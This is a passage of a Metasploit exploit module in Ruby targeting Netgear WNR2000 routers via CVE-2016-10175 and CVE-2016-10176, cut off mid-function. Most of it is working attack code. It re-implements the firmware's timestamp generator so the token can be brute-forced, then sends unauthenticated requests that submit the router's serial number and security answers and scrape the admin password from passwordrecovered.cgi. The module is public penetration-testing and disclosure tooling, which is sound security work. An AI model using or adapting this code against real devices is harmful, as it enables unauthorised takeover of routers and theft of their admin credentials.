This vulnerability can be exploited by an unauthenticated attacker who is able to guess the value of a certain timestamp which is in the configuration of the router. Brute forcing the timestamp token might take a few minutes, a few hours, or days, but it is guaranteed that it can be bruteforced. This module works very reliably and it has been tested with the WNR2000v5, firmware versions 1.0.0.34 and 1.0.0.18. It should also work with the hardware revisions v4 and v3, but this has not been tested. }, 'Author' => [ 'Pedro Ribeiro ' # Vulnerability discovery and MSF module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2016-10175'], ['CVE', '2016-10176'], ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/netgear-wnr2000.txt'], ['URL', 'https://seclists.org/fulldisclosure/2016/Dec/72'], ['URL', 'https://kb.netgear.com/000036549/Insecure-Remote-Access-and-Command-Execution-Security-Vulnerability'] ], 'DisclosureDate' => '2016-12-20' ) ) register_options( [ Opt::RPORT(80) ] ) register_advanced_options( [ OptInt.new('TIME_OFFSET', [true, 'Maximum time differential to try', 5000]), OptInt.new('TIME_SURPLUS', [true, 'Increase this if you are sure the device is vulnerable and you are not getting through', 200]) ] ) end def get_current_time res = send_request_cgi({ 'uri' => '/', 'method' => 'GET' }) if res && res['Date'] date = res['Date'] return Time.parse(date).strftime('%s').to_i end end # Do some crazyness to force Ruby to cast to a single-precision float and # back to an integer. # This emulates the behaviour of the soft-fp library and the float cast # which is done at the end of Netgear's timestamp generator. def ieee754_round(number) [number].pack('f').unpack('f*')[0].to_i end # This is the actual algorithm used in the get_timestamp function in # the Netgear firmware. def get_timestamp(time) srandom_r time t0 = random_r t1 = 0x17dc65df hi = (t0 * t1) >> 32 t2 = t0 >> 31 t3 = hi >> 23 t3 -= t2 t4 = t3 * 0x55d4a80 t0 -= t4 t0 += 0x989680 ieee754_round(t0) end def get_creds res = send_request_cgi({ 'uri' => '/BRS_netgear_success.html', 'method' => 'GET' }) if res && res.body =~ /var sn="(\w*)";/ serial = ::Regexp.last_match(1) else fail_with(Failure::Unknown, "#{peer} - Failed to obtain serial number, bailing out...") end # 1: send serial number send_request_cgi({ 'uri' => '/apply_noauth.cgi', 'query' => '/unauth.cgi', 'method' => 'POST', 'Content-Type' => 'application/x-www-form-urlencoded', 'vars_post' => { 'submit_flag' => 'match_sn', 'serial_num' => serial, 'continue' => '+Continue+' } }) # 2: send answer to secret questions send_request_cgi({ 'uri' => '/apply_noauth.cgi', 'query' => '/securityquestions.cgi', 'method' => 'POST', 'Content-Type' => 'application/x-www-form-urlencoded', 'vars_post' => { 'submit_flag' => 'security_question', 'answer1' => @q1, 'answer2' => @q2, 'continue' => '+Continue+' } }) # 3: PROFIT!!! res = send_request_cgi({ 'uri' => '/passwordrecovered.cgi', 'method' => 'GET' }) if res && res.body =~ %r{Admin Password: (.*)} password = ::Regexp.last_match(1) if password.blank? fail_with(Failure::Unknown, "#{peer} - Failed to obtain password!
